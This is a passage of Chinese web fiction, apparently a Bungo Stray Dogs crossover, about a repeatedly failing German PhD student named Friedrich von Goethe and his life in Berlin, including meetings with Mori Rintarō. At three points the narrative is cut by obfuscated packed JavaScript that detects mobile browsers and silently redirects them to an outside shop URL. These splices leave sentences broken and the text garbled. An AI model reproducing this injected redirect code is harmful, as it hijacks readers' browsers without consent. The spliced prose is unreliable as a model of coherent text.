l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17615575|206062||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 如流,即使将书合上,也能流利地背出其中的理论,但就是屡次延毕。 工科果然和文科不同,死记硬背是没有用的。还有,德国读博是真的难,导师们根本不会考你书本上的简单理论,而是问你更深奥的问题…… 又过了一天,弗里德里希怀着忐忑的心情再次站上了答辩的讲台,将自己准备并完善了七八年的课题展示给台下的导师,而导师们不出所料地提出了新的问题,真不知道他们是怎么做到精准避开之前导师提出的问题的,每次都能提出全新的难题。 不出意外,弗里德里希又延毕了,三个导师集体给他亮了红灯。 弗里德里希十分难过,又没好意思再打电话打扰父母,爸爸这个点应该还在上班,而妈妈多半在朋友家喝下午茶,还是不要打扰的好。 他回到了自己的博士生宿舍,没想到已经有人在这里等着他了,他一看到那个人,就感觉全身的血液都凝固住了,干笑着打了声招呼:“教授,下午好。” 穆勒教授瞪了他一眼:“过了吗?” 他支支吾吾,半天才声如蚊呐地说:“……没。” 教授看起来有点生气,不过似乎没有去年延毕时那么生气,他似乎已经习惯了这个学生的常年延毕,已经没有那么多气可生了。 “我早知道会是这样。”穆勒教授说,“我早就想到你今年也会延毕。” 弗里德里希羞愧万分,低着头,不敢面对师长。 “但你总这样不是个办法。”教授说,“你难道想一直这样下去吗?你可能会成为这里延毕最久的博士生。” 其实已经是了。 但这话弗里德里希没敢说出来,小声说:“……不想。” 教授见他这副臊眉搭眼的样子,冷哼一声,甩给他一张带学校Logo的信纸,纸上写着: 【舒尔茨教授:】 【你好,我是费利克斯·贝内特·穆勒,海德堡大学工程科学学院,机械与动力学的终身教授与博士生导师,我要向你推荐我的学生:弗里德里希·格奥格尔·冯·歌德。】 【在《机械高级动力学》这门120人的大课上,该生是唯一拿到满门的学生,在其他许多大课或小课上分数亦名列前茅。】 【……】 【联系方式:……】 弗里德里希看完,心情十分复杂,一方面是感动于他都延毕这么多次了教授还愿意给他写推荐信,另一方面则有种对不起教授夸赞的心虚——他确实在一门120人的大课上考了唯一的满分,但那是因为那门大课是纯理论的,但凡需要一点实操,他都不可能考满分。 “舒尔茨是我的师弟,他很擅长教学生——比我擅长。”穆勒教授说,“看在我的面子上,他会同意收下你的。明天,你可以出发去柏林了,他在柏林大学任教。” 弗里德里希就这么稀里糊涂地被决定了今年下半年乃至明年的行程,在教授的催促下一个下午就收拾好了行李,明天一大早就坐上了开向柏林的火车。 在火车上,他后知后觉地想起自己还没跟教授道谢,于是取出一张信纸,发挥上辈子写作文的文采写了感谢信——足足有好几页纸。 他决定到柏林后寄给教授,表达一下自己的感恩之心。 4. 柏林 柏林。 弗里德里希在租好的屋子里落脚,还没歇一歇,就马不停蹄地把感谢信给寄了出去,结果不到一天就收到了回信。 教授是这么回的: 【弗里德里希:】 【我会按时检查你的学习状况的,希望你不要开小差。注:我有舒尔茨的联系方式,所以你最好不要抱有侥幸以为我不会发现你在偷懒,最重要的是,你尤其不要想着在实验室睡大觉。】 弗里德里希:“上次在实验室睡着真的只是意外啊!” 教授的话还没完: 【另,不知道是谁给你寄了信,寄到博士生宿舍来了。我将信附在此信的夹层。】 弗里德里希从夹层里找出了一封信,他没有第一时间看署名,而是猜测了一下是谁寄来的。 他想了一下有可能给自己写信的人,首先,爸爸和妈妈显然不可能,他们通常会发短信;其次,姐姐是有可能的,她虽然有手机,但还是更习惯手写信。 “难道是姐姐?”弗里德里希看了一下署名,不是姐姐,来信者他不认识,至少这个名字他没什么印象——Mori Rintarō,这不是常规德语名,看来是个外国人。 “虽然不是姐姐,但现在好像也该写信问候一下她了,唔,还有小外甥,他今年是不是该上小学了?”弗里德里希自言自语着拆开信,阅读信件内容: 【亲爱的歌德:】 【我是Mori Rintarō,我是一个来自日本的留学生,曾在韦斯特巴赫文理中学留学,还参加过钢琴兴趣班/社团,因此认识了你。你的钢琴弹的很好,我就经常向你请教,你可能会对一个时常向你提问的亚洲面孔的人有印象,那就是我,你还送了我一本有你的签名的乐理书,我一直保存着。但比较遗憾的是,我们没有相处太久,因为你没多久就提前毕业了,更遗憾的是,你离开那天我请假了,没来得及跟你告别。】 弗里德里希这才想起了自己的中学生涯,那真的是很久远的事情了,当时他在法兰克福本地的韦斯特巴赫文理中学上学,那时他可不像现在这样毕业困难,很容易就拿到了海德堡大学的录取通知书,而且多亏了父母的手把手教导,他的钢琴也学得不错。 虽然他中学时人缘确实很好,但都过了这么多年了,还有母校校友寄信,这可真是意想不到。 【现在我快要离开德国了,还是不能忘记当初没有告别的遗憾。冒昧一问,能否最后再见一面呢?在离开德国之前,我随时可以来海德堡赴约。当然,我没有道德绑架的意思,如果你不方便,可以直接忽略。】 【真心祝福你,祝你事事顺利。】 【——Mori Rintarō】 【——1989/6/7】 弗里德里希被夸得挺高兴的,但他其实不太记得Mori Rintarō是谁了。实际上,他连对方的名字都不知道怎么读,他对日语的了解仅限于阿里嘎多和私密马赛,除此之外,他一概听不懂。 对方希望和他见一面,而且言辞如此恳切,因此,尽管有诸多不确定因素,他还是根据信上的来信地址回了信,表示同意。 【亲爱的Mori Rintarō:】 【没想到你还记得我,真让人高兴。我当然愿意,不过,我近段时间不在海德堡,而是柏林,所以如果你近期有时间来柏林,我们可以在柏林的咖啡厅见一面。】 【我对你抱有同样的祝福。】 【——弗里德里希·格奥尔格·冯·歌德】 【——1989/6/10】 对方回信很迅速: 【亲爱的歌德:】 【收到你的回信之后,我高兴了一整天,然后马上订了去柏林的车票,明天就出发,晚上到柏林。你明天方便吗?后天呢?我都可以。】 对方还给了一个新地址,应该是暂居柏林的地址。 【亲爱的Mori Rintarō:】 【后天吧,长时间坐车难免疲惫,好好休息。】 弗里德里希想了想,把自己的联系方式写了上去,同在柏林,就没必要写信了。 后面两人还电话交流了见面的地方,对方德语说得流利,有点日本口音,不过听得出对方已经尽力消除口音了。弗里德里希没有嘲笑对方的口音,而是说了一句带着德国口音的日语,对方愣了愣,语气里带着笑意,问要不要他教他日语,弗里德里希答应了。 他们将见面地址订在一家安静的咖啡厅,到了约定的那天,弗里德里希换了身体面的常服,检查了衣服有没有褶皱,确认衣服裤子都服服帖帖之后,就前往咖啡厅赴约了。 路上,他还想象了一下对方会是什么样子,对方声音是那种悦耳的青年音,想来不会难看。对方是来自日本的留学生,如果是上辈子,他都能猜到对方发色瞳色的组合,多半是黑发,瞳色可能是黑瞳、棕瞳,不过在这个实际上是动漫的世界,对方甚至有可能是白毛或粉毛——而且不是染的,可能天生就长这样。 推开咖啡厅的门,弗里德里希有点找不到位置,这家咖啡厅的位置排布太奇怪了。好在Mori Rintarō早已到了,坐在靠里侧的位置上看菜单,注意到有人进来之后,他抬起头来,一眼就认出了弗里德里希,还招了招手,示意他: “这边!” 弗里德里希这才找对了方向,他立刻走了过去,就看到了一名与想象不符的青年。 对方是黑发,眼睛是比较罕见的紫色,留着偏长的头发,在后面绑了个小辫子,看起来有点忧郁,不过并不颓靡。对方穿的和弗里德里希的常服很不一样,穿的是比较正式的西服,打着深红色的条纹领带,看起来像是要去参加晚宴。 弗里德里希心里疑惑了一瞬,猜到对方或许是不了解德国礼仪,在咖啡厅这样的地方见面不需要穿得这么正式。 他没有立刻指出让对方尴尬,注意到外面突然下起了雨,就自然地找了个话题:“今天天气真不错,我喜欢雨天。” 对方像是找到了共同话题:“虽然都说雨天让人烦恼,但夜里失眠时听到外面下起了雨,淅淅沥沥的雨声特别助眠。” “雨声是最好的助眠,”弗里德里希叹了一口气,“不过,不是任何时候下雨都是好事。” “哦?” “比方说现在。”弗里德里希耸了耸肩,“我忘记带伞了。不过比起我没带伞这件事,更应该被谴责的是柏林的气象台,我发誓他们绝对没说今天要下雨。” “柏林气象台总这样。”对方说,“不光是柏林的,德国哪个气象台都是一个样,我永远忘不了他们说接近一个月都不会有雨,我没带伞淋了个落汤鸡的事。” 他们后来还聊了其他事,不只是谎报军情的气象台,还有德国的学业压力,近段时间德国全境糟糕的治安水平,两个人的观点都是相似的,聊得很是投机,互相交换了名字,氛围也随意了很多。 他们约的下午,不知不觉,天色都快黑了,弗里德里希看了一眼窗外,居然还在下雨,看来他今天要淋着雨回家了。 他点了一杯德式清咖啡,结果只尝了一口就没喝了,因为太苦了,早知道就让服务员多加点奶油了,至少能硬灌进去。 “不合口味吗?” “太苦了。”弗里德里希皱着脸说,“我以前没喝过这种,没想到这么苦。” 眼看着雨似乎要下大了,弗里德里希担心要下暴雨,叫服务员过来结了账,对方也跟着结了账,把聊天中途脱下的大衣外套挂在小臂上,并肩走到了门口。 弗里德里希将门拉开一条缝,外面立刻有雨丝漏进来,他心里暗骂一声,这鬼天气,下两个小时就得了,这都下了一下午了! 他都做好冒雨跑回家的准备了,结果Mori Rintarō不知从哪儿掏出一把伞,当着他的面撑开了伞,他还没来得及说什么,对方就笑了笑,单手拿着伞,将伞斜在他头顶的上空,另一只手做了个“请”的手势,说: “请,我亲爱的弗里德里希先生?” 弗里德里希愣了一下,随即笑了,也学着做了个不伦不类的邀请动作: “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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对方逐渐走远,走在湿漉漉的小路上,路上一个人也没有,路边的楼房纷纷亮起了灯,暖色的灯光看上去格外温馨,与外边街道的阴冷截然不同。 “在难过吗?真可怜,你再也见不着你美丽的歌德学长了。”一个雌雄莫辨的声音突然用日语说。 “好刻薄啊,真让人伤心。”对方叹了口气,“我有点后悔将你设定成如此刻薄的性格了。” “那是你自己的问题。”异能体冷漠地说。 “你的名字好难听啊。”对方说,“假如有一天还能再回到这里,我真不知道该如何跟学长介绍我的异能了——【Vita Sexualis】,性生活,听上去也太糟糕了,会被当做变态的吧。” “…………”异能体有点无语了。 “我想到一个好办法。我就这么跟他介绍,其实我的异能名根本不是什么【Vita Sexualis】,而是——【das Klavier(钢琴)】,多么优雅,多么引人探究,听起来一点毛病也没有,反正比性生活这种流氓名字好多了。” “…………”异能体更无语了,一想到Mori Rintarō(森鸥外)刚才还命令它用隐形身体帮弗里德里希挡雨的事,就觉得这家伙真是个痴汉。 森鸥外显然也听到了它的心声:“喂喂,只是挡一下雨而已,别说的好像变态一样。我不就是让你把身体拉长、拓宽得像面饼一样挡雨吗?任何一个实用主义者都会考虑那么做的——绅士应该也会。“ “…………”但这到底哪里绅士了? “你淋雨总比他淋雨好嘛,如果第一次见面就让人淋了雨,那也太不绅士了。”森鸥外笑眯眯地说,“顺便,任何非单身者都会告诉你,第一印象是很重要的。” 第一印象? “你们好像不是第一次见面吧。”他们不是中学校友吗? “怎么不是?”森鸥外说,“哦,你说那封信啊,都是我编的,我中学那会儿可没胆子跟光芒四射的大明星学长搭话,我只是一个在暗中关注着他的外国人罢了,他不会记得我的,今天见面就是初印象。” “…………” 5. 日常 咖啡店一别之后,弗里德里希后来还跟森鸥外见了几面,他意外发现对方也是机械工程专业,不过考完硕士就没有继续深造了。对方今年硕士刚毕业不久,要不是护照快过期了,他还想在德国多待几年。 这理由让弗里德里希很惊讶:“不能重新补办护照吗?” “不能。”对方说,“可以补办护照的日本驻德大使馆去年就被德国军方拆了。” 弗里德里希想起了去年震惊西德的新闻,据说有军事犯越狱了,军部在某个国家驻德大使馆找到了犯人,以此判定大使馆有包庇罪犯的嫌疑,于是就这么被拆了。 “真是不巧。”如果晚点拆就好了。 “确实。”对方语气无奈,不过并没有多少不满,“但这也是没办法的事,就像我虽然已经有了硕士学位,等回国之后还是要重新考大学。” “这又是为什么?” “这个……不太好解释,但在大多数株式会社看来,东京大学的毕业证书>一切包括本国及外国大学的学位证书。原谅他们,从来没有离开过出生的地方,因此不知道外面的世界有多大。” “原来如此。” “…………” 又过了几天,对方即将离开日本时,在港口附近的某个电话亭给弗里德里希打了个电话。 弗里德里希接到电话的时候,正在柏林的出租屋里用搅拌器打发奶油,听闻对方要走,就说:“嗯,你要走了吗,就现在?” “是的,我已经在港口等回家的轮船了。” “听说最近日本也在打仗,你回国之后要小心。” “多谢提醒,不过不必担心,我应该会回到东京生活,那里相对安全。” 弗里德里希有些不放心,他一直都有看报纸的好习惯,近期柏林战争报提到日本东京附近的临海区域或半岛一直面临火力威胁,不少国家的军队在此盘踞,因此他有点怀疑东京的安全性。 “路途遥远,注意安全。”弗里德里希最后嘱咐了一句,除此之外,他也提供不了什么帮助了。 “多谢。” 电话送别这位日本留学生之后,弗里德里希还有些惆怅,作为一个比较重情感的人,他不太擅长应对离别,显然对方也是,临别前除了一句谢谢,便也说不出其他依依惜别的话了。 与此同时,弗里德里希还遇到了另一件让他惆怅的事:他想尝试将蛋清打发成奶油状,但失败了。 他确信自己是按照步骤来的,鸡蛋也是仔细地取了蛋清,到底是哪里出了问题? “肯定是打发器的问题。”弗里德里希嘀咕着,给远在法兰克福的妈妈打了个电话,她对这个很有经验。 “这里是Goethe(歌德),你好?” “妈妈,是我。”弗里德里希说,“真奇怪,我用了七八个蛋的蛋清,却打发不成那种奶油状,我想做家庭戚风蛋糕来着。” “…………” 一番交流过后,妈妈也不清楚到底哪里出了问题。弗里德里希的描述有些模糊,她不确定问题所在,于是让弗里德里希下次回家时把这回用的鸡蛋和打发器带回来,她亲自试一下能不能打发出奶油。 “噢,好的,我用的打发器和家里一样,鸡蛋是——柏林本地鸡蛋。” “柏林本地鸡蛋?!”妈妈语气立刻变了,嫌弃地说,“这个牌子的鸡蛋是最差的,坏蛋率是最高的。” “早知道不买这种了。”弗里德里希懊悔地说。 电话那头传来切菜的声音,接着,妈妈又说:“在柏林的日子怎么样?没有碰到麻烦吧?” 家里都知道弗里德里希被教授推荐到柏林的事。 “没有,一切都很好。”弗里德里希说,“唯一的缺点是我每顿饭都只能吃超市买的长条面包,硌的牙疼,我觉得法棍也不会比它更硬了。” “…………” 挂断电话,弗里德里希洗了一下手,看了一眼大碗里盛着的蛋清,犹豫了一下,把它蒸熟了,送给了楼下游荡的流浪狗,或许是这栋房子的上任租客抛弃了它,它就一直在这附近流浪。 弗里德里希把碗放在院子里的草坪上,狗不知跑哪去了,附近也没人,他就蹲下身子,伸着脑袋往旁边一辆违规停放的轿车的车底看去,果然,一只棕毛垂耳的狗就趴在那里,他发出逗狗的声音:“嘬嘬嘬!” 小狗并不理睬他,警惕地看着他,弗里德里希就自言自语地说:“奇怪,这招以前百试百灵。” 他看了一眼腕表,还有半个多小时,他期待的课就要开始了,赶紧步履匆匆地走了。 他其实不算是柏林大学的正式学生,不过拥有大学的准入证,随时可以进出大学,因此想听什么课都是随他心意。教授托关系为他拜托的舒尔茨教授让他每周五去教授住宿区找他,至于平时的时间,都由他自己支配,偶尔来大学里听课也是规则允许的。 在中文课开始之前,他就已经找了个不起眼的位置落座了,学生们坐的稀稀拉拉的,很少有坐在一起的,看来都不熟悉,但随着学生越来越多,已经没有偏安一隅的位置可以选择,因此不得不和陌生人坐在一起。 这里的教室普遍为阶梯教室,最往后的座位越高,而讲台在最低处。 中文教授提前五分钟到了教室,那是一个秃头的中年男人,穿着得体的黑色西服,整个人看起来很严肃,实际上却对迟到的学生睁一只眼闭一只眼,不会因为迟到惩罚他们——德国教授几乎都是这样,他们不管你是否按时出勤,像那种几百人的大课,就算缺勤一个学期也不会有人管你,如果你不说,没人知道你缺勤,因为压根不点名。 这里的风气是很自由的,教授只管上课,下课时间一到,他们一分钟都不会多留,就是有点过度考验学生自身的能力了,那些不自律的学生大概率会挂科,挂多了可能会被劝退或延毕。 而弗里德里希现在是个经常延毕的问题学生,不过读大学时没怎么挂过科,认认真真拿到了学士学位,后面继续读硕士,硕士毕业后又读博,说到底读博才是真正难住他的一个节点,真的太难了。 他在读博一事上受到的挫折远超其他事情的总和, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17615577|206062||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这些挫折真正将他从中学带来的傲气消磨殆尽。他有时为了消除不自信,会特意去听一门他很精通的课程,例如欧洲历史、例如Chinese Studies,听完就会觉得自己也不是那么笨,至少他还是有自己擅长的地方。 虽然他擅长中文是因为那是自己的母语,但谁能说这不是一项特长呢?实在不行,他也可以去应聘一下翻译,不至于太落魄。 这节中文课的内容很简单,就是比较基础的拼音和书写,弗里德里希没想着出风头,就安安静静地听着,就是德国教授说中文的口音有点好笑,憋笑有点难,他不得不板着脸,不然会笑出来。 上完课之后,弗里德里希心情还不错,回到公寓后还额外多翻了翻专业书,琢磨了一下周五去找舒尔茨教授时要问什么问题,就出门步行到附近市中心的一处广场,那里有很多很多鸽子,他在附近买了些玉米粒,鸽子们就落在了他脚边,有的歪着头等他喂食,有的就伸长脖子,胆大地啄他手心的玉米粒。 这些鸽子不怕人,随便摸,让弗里德里希狠狠过了一把瘾,但鸽子里有坏鸟,趁着弗里德里希沉浸在小鸟天堂里,飞到天上进行高空抛物,而弗里德里希只觉肩膀一重,一开始以为是哪只鸽子,侧过头才发现是一泡不可名状的稀状事物。 弗里德里希:“…………” 他沉默了一会儿,迅速把外套脱下来,假装什么都没有发生,并在心里祈祷没人看见鸟屎落在他肩上的这一幕。 没想到不要什么来什么,他余光看到了一个戴着帽子的小伙,对方直勾勾地盯着他的肩膀看,显然是目睹了之前那一幕。 对方看了好几秒,惹得弗里德里希有点不高兴:看什么看? 他忍不住瞪了对方一眼,赶紧就要离开,但对方却叫住了他:“等等,你需要帮助吗?” 弗里德里希一脸的莫名其妙:“什么?” 他看着对方莫名泛红的脸颊,怀疑对方是过敏了,皱着眉,冷冰冰地说:“我看你才是需要帮助的那个,你脸很红,应该是过敏了,快去看医生。” 说罢,弗里德里希掉头就走,他可不想跟目睹自己狼狈现场的人多说什么,赶紧逃走才是正事。想到对方可能过敏的事,他还回头看了一眼,犹豫了一秒,见对方的装扮像个大学生,肯定会自己就医,又扭头走了。 对方站在原地愣愣地看着弗里德里希走远,摸了一下发烫的脸:“我不对鸽子毛过敏啊……” 弗里德里希回到公寓楼下,又是那只熟悉的狗。它吃了他的熟蛋清,似乎被收买了,不如上次警惕,垂着的尾巴轻轻摇着靠近弗里德里希,还耸动着鼻翼嗅闻着弗里德里希拿着的外套,让弗里德里希联想到了那一泡鸟屎,不由得有些恼羞成怒:别让他知道是哪只臭鸽子干的好事! 这外套是时兴款式,拢共才穿过两次,弗里德里希喜欢它的宽大口袋设计,把便利贴大小的笔记本和钢笔塞进去也不明显,但他现在实在是不想要了,找了个干洗店把衣服洗了,然后就放到了某个教堂外放置捐赠旧衣的箱子里,也算不浪费。 6. 过渡 鸽子广场的尴尬一幕之后,弗里德里希没想到很快又会遇到那名撞见他狼狈样子的学生。 对方竟然也是柏林大学的,而且选修了中文课程,弗里德里希就在一次中文课上再遇了对方,对方显然也认出他了,定定地看了他好几秒,他扭过头,假装没有看见对方。 好在对方很有眼力见,见他不想交谈,也没有主动搭讪,相安无事地上完了中文课。 下课后,弗里德里希快步离开,在人较少的西门等出租车的间隙,忽然听到了摩托车呼啸而来的声响。 他吓了一跳,连忙侧身躲避,摩托车离他几厘米擦身而过,他自己没受什么伤,但有个戴着假牙的老太太被撞了,假牙都撞掉了,老太太正不省人事地倒在地上,地上晕开了一滩暗红色的血,而肇事者扬长而去,留下弗里德里希和昏迷的受害者。 “该死的家伙,警察会逮住你的!”弗里德里希反应过来,朝着肇事者逃离的方向生气地咒骂了一句,赶紧拨通了急救电话。 旁边还有人目击了这一切,对方是亚洲人长相,目睹了肇事过程,竟然还拿起随身相机不慌不忙地拍弗里德里希,弗里德里希有点不快地看了对方一眼,他讨厌这种没有边界感的偷拍者,要不是他现在没有时间,他一定会盯着对方删除照片。 “偷拍是犯法的。”弗里德里希冷冷地说,对方马上收起相机走了。 没多久,救护车就赶到了现场,弗里德里希作为目击者之一也被请到了医院,还去警局录了口供。 一阵兵荒马乱,折腾得弗里德里希傍晚才到家,然后倒头就睡,隔天上午就被警局的电话惊醒,告诉他肇事者已经被逮捕了,对方还说,受害者希望能当面感谢他,问他有没有时间去医院一趟,或者对方伤好后过来道谢。 弗里德里希不是很想打车去医院就为了听一个陌生人的感谢,于是就回绝说:“不用谢,那种紧急情况,换做是任何人,都会伸出援手的。” 而在弗里德里希不知道的柏林大学校园论坛,他的照片已经流传得到处都是,照片上的他冷着脸看着镜头,一只手按着帽子,帽檐遮住了半张脸,半长金卷发漏出来了些许,有种特别的凌乱感,其实照片里本还有另一个不应景的车祸受害者,但是被拍摄者剪掉了,只留下弗里德里希这张扎眼的漂亮的脸。 弗里德里希第一次听说这件事,还是因为有人在路上蹲守他,用略带口音的德语说希望能和他合影,弗里德里希直接拒绝了,对方有些失望,不过也没有多作纠缠,跟一起的朋友叽里咕噜地说了什么,她们说的好像是法语,反正弗里德里希听不懂,也没有探究的兴趣,正当他要离开的时候,无意间看到了她们手机上的自己的照片。 弗里德里希问:“这是谁拍的?” “论坛上流传开的。”对方回答。 弗里德里希这才知道这回事,他没想到那个偷拍者居然敢将照片上传到公共论坛,这就跟小偷拿着赃物去警察局自首是一个性质。 他生气之余,还有点匪夷所思,因为他有个法学博士的爸爸,就没有咨询别人,而是直接找了爸爸:“爸爸,我被人偷拍了,有人把我的照片未经打码发到了校园论坛,现在有几千个人见过我的照片,怎么办?” “你有以任意形式允许对方拍照吗?” “没有,我还特意警告对方偷拍是犯法的。”弗里德里希纳闷地说,“他难道不怕坐牢吗?” “不懂法的人早晚会被法律制裁。”靠谱的老歌德说,“放心,我来处理。” 没多久,弗里德里希就收到了法院的传票,法院告诉他,偷拍者已经被缉拿归案,问他是否接受调解,弗里德里希没有接受,他希望按照法律规定来。 然后,偷拍者被勒令弗里德里希一笔不小的精神损失费,并被判处一年半的监禁,最重要的是,对方是留学生,因此被遣送回国,必须回母国接受监禁,除此之外,因为对方在柏林的偷拍恶行,德国出入境管理部门将会拒绝对方的再次入境。 弗里德里希还接到了柏林某报纸的来电,对方问他愿不愿意授权他们报道这一案件,他们称此案为“韩国留学生偷拍案”。 弗里德里希拒绝了,他可不想成为事件中心。 接下来一个月无波无澜,弗里德里希按照约定去找舒尔茨教授,那位教授很耐心地解答了他的问题,其事无巨细的教学风格给弗里德里希一种熟悉的感觉,仔细一回忆,就想起了前世读中学时遇到的老师,前世故国的老师和习惯放养的德国老师很不一样,他们习惯手把手教学生,他的中学老师教学都是很仔细的,生怕学生听不懂,会翻来覆去讲好几次。 同一段时间内,弗里德里希还收到了父亲寄来的《德意志法律史》,与书一同寄来的还有一张便签,上面写着【闲着可以看看】。 这本书的内容很有趣,讲述了一些法律条文的由来,德国有项罪名叫做【侮辱罪】,如果你用实际行为羞辱或口头语言辱骂一个自然人,那么对方有权告你侮辱,你会因此赔偿对方,还可能面临一年以内的有期徒刑。 这项罪名十分古老,最早可以追溯到19世纪前,那时人们将“吐口水”和“打耳光”视为必须严惩的严重冒犯,不过到了近代已经不再适用,法典里也不再有它的一席之地;后来因为一位高官政要当街遭到反对者的口头辱骂,这项罪名就重出江湖了,比起最初的它,如今的定罪标准发生了一些变化,不需要吐口水或打耳光,只需要一句出格的辱骂,就能上法庭。* 还有一项偷拍罪,这是媒体兴起之后才有的禁令。* 相机或手机在这个时代并没有普及,偷拍其实不那么常见,不过当一位当权者遭到偷拍,因此权益受到损害之后,这项罪名的成立也就顺理成章了,就在三年前,未经本人允许的偷拍行为正式成为了足以入刑的行为。* 书上是这么写的:【1986年7月2日,陆军第一军团的约翰·浮士德先生被私自潜入者违规偷拍,柏林大法院以“泄露军情罪”为由将涉事者逮捕,并公开审判,直接促成了相关法律的诞生。】* “约翰·浮士德?” 这个名字一下子将话题扯到了别的方向。 弗里德里希将它古怪地读了一遍,想起了他见过的那个浮士德。他还记得对方身后的魔鬼,还有对方与魔鬼交谈时说的——弟弟…… 他曾尝试向父母索要那位失踪兄长的信息,但只要他的话与兄长有关,父母就好像听不见一样; 他们一家人曾有过全家福合照,他记得清清楚楚,那张照片有父母、哥哥、姐姐,还有他,但哥哥无端从照片里消失了! 他冲进哥哥的房间翻箱倒柜,也没有找到对方的全名,对方存在的全部痕迹似乎都被抹消了,而他能确定的只有哥哥是黑发蓝眼,名字应该是约翰·■■■■·冯·歌德,他只知道哥哥叫约翰,但中间名他不清楚,后缀的冯和歌德则是固定搭配,冯是前贵族的标识,歌德是姓氏。 他又发现了一个共同点,浮士德和他哥哥都叫约翰,但这不能成为盖棺定论的理由,因为约翰这个名字实在太常见了,就连他爸也叫约翰。 这件事太诡异了,更诡异的是,除了弗里德里希以外的人完全察觉不到浮士德此人的古怪之处。父母似乎看不见浮士德身后的红衣魔鬼,也听不到他们无需动嘴就能交流的对话,他好像一个通灵者,能看到游荡人间的魔鬼,却被魔鬼缝住了嘴,没法告知人们身边有魔鬼。 这个世界不光有异能力者,还有魔鬼。联想到《浮士德》中的魔鬼梅菲斯特与上帝交谈的情节,说不定连上帝都存在! “魔鬼,上帝……”弗里德里希伏在桌子上自言自语,“这也太不可思议了……” “谁?!”弗里德里希感觉耳边好像有人笑了一声,他连忙直起来,却发现周围根本没人。 “幻听吗……”弗里德里希揉了揉头发,嘴上虽然说着幻听,心里却无端地想着,难道魔鬼能听到他的呼唤? …… 除了上辈子看过《文豪野犬》,弗里德里希其实就是个普通人,事实上, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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老歌德正巧听到,就跟弗里德里希开了个半真半假的玩笑:“他们有超人相助。” “超人?”弗里德里希更懵了。 “远超常人的人,就是超人。”老歌德说。 弗里德里希追问:“什么?所以是超人帮忙打赢了战争吗?” 老歌德说:“对,能腾云驾雾的超人。不过种花更习惯称他们为——【仙人】。” 弗里德里希还以为自己穿到什么灵气复苏的小说里了,正疑惑之际,他的一个朋友某天神秘兮兮地告诉他:“我给你看个好看的!” “你这话真奇怪。”弗里德里希故意诽谤,“你是不是在手里藏了个臭蛋,准备砸我?” “怎么可能,我又不会欺负你。”对方急了,“你快过来,真的是好看的。” 弗里德里希半信半疑地靠近,对方就张开了手,只见他手里躺着一颗种子,迅速开始生长出枝叶,花苞,开花之后又很快枯萎,这颗种子在半分钟之内完成了生根发芽开花,看得弗里德里希一愣一愣的。 “只要碰到种子,我能让它马上结果。”对方说。 弗里德里希目瞪口呆:“???” “你是超人吗?”弗里德里希问。 “不是,这叫做异能。”对方说,“它告诉我,它的名字是【Blume(开花/绽放)】。” 弗里德里希震惊得一天没吃下饭。他花了一天时间整理知道的东西,然后震惊地发现—— 他不会穿到了《文豪野犬》吧?! 他用家里电脑搜了一大堆前世如雷贯耳的大名人,比如希X勒和毛爷爷,结果查无此人,更加确认了这个世界与前世截然不同的结论。 后来异能战争爆发后,还有数不清的各种新闻冒出来,不过新闻里从来不会提到异能力者的概念,顶多说某国发明的新型导弹轰平了其他小国,但弗里德里希得到的消息却是一名超越者单枪匹马灭了一个小国。 他那个朋友觉醒异能后不久就参军去了,连着五六年没有联系,后面突然往弗里德里希的老家寄了封信,原来对方所在的军队要求严格保密,上校以下的军衔禁止与外界联系,对方混了好几年总算成了上校,想起年少时的好友,就来了一封问候信。 两人中学时关系很不错,久未联系也很快再次熟悉起来,弗里德里希知道的很多有关异能者的消息就是对方告诉他的,弗里德里希因此确定这就是《文豪野犬》的世界。 7. 空袭 一个寻常的周五,弗里德里希刚从舒尔茨教授那回来,就从路人兴奋的讨论中得知了一个消息: 一个火遍全球的世界级歌手将要来柏林巡演。 因为以前买过对方的专辑,弗里德里希准备去看一看。 门票在12点整开售,弗里德里希蹲在官网,想要第一时间抢到门票,但这种级别的门票还是太难抢了,他准点去抢,也没有抢到前排的VIP座位,他只好买了普通票。 没想到的是,有人手速那么快抢到VIP门票之后又不要了,以原价卖给了弗里德里希,竟然不涨价,这让弗里德里希有些怀疑,但在VIP门票的诱惑下还是忽略了。 终于到了演唱会当天,弗里德里希起了个大早,兴奋地打车前往演唱会现场的某个大型体育场,他到的时候,场外排队已挤得水泄不通,维持秩序的黑衣人大声喊着:“礼貌排队!插队者的门票将被视为无效,自动退还门票钱!” 弗里德里希这时候庆幸自己是VIP座位了,这谁能想到,VIP有另外的入口,一点都没感受到拥挤就进入了体育场。 说是体育场,其实更像是一个超级大舞台,弗里德里希还是第一次看这么大规模的演唱会,在人们的尖叫声中,歌手登场,随即是伴奏的鼓点声,现场气氛十分热烈,即使弗里德里希只是个普通的歌迷,也听得有些兴奋。 “…………” 歌唱到高.潮部分,所有人都沉浸在欣赏当中,突然,一声不合时宜的巨响从舞台正上方传来,弗里德里希第一反应还以为是舞台效果,抬头往上看,上方的遮光布破开了一个大洞,外边的光线透进来,一下子破坏了偏暗的氛围,打光也成了画蛇添足。 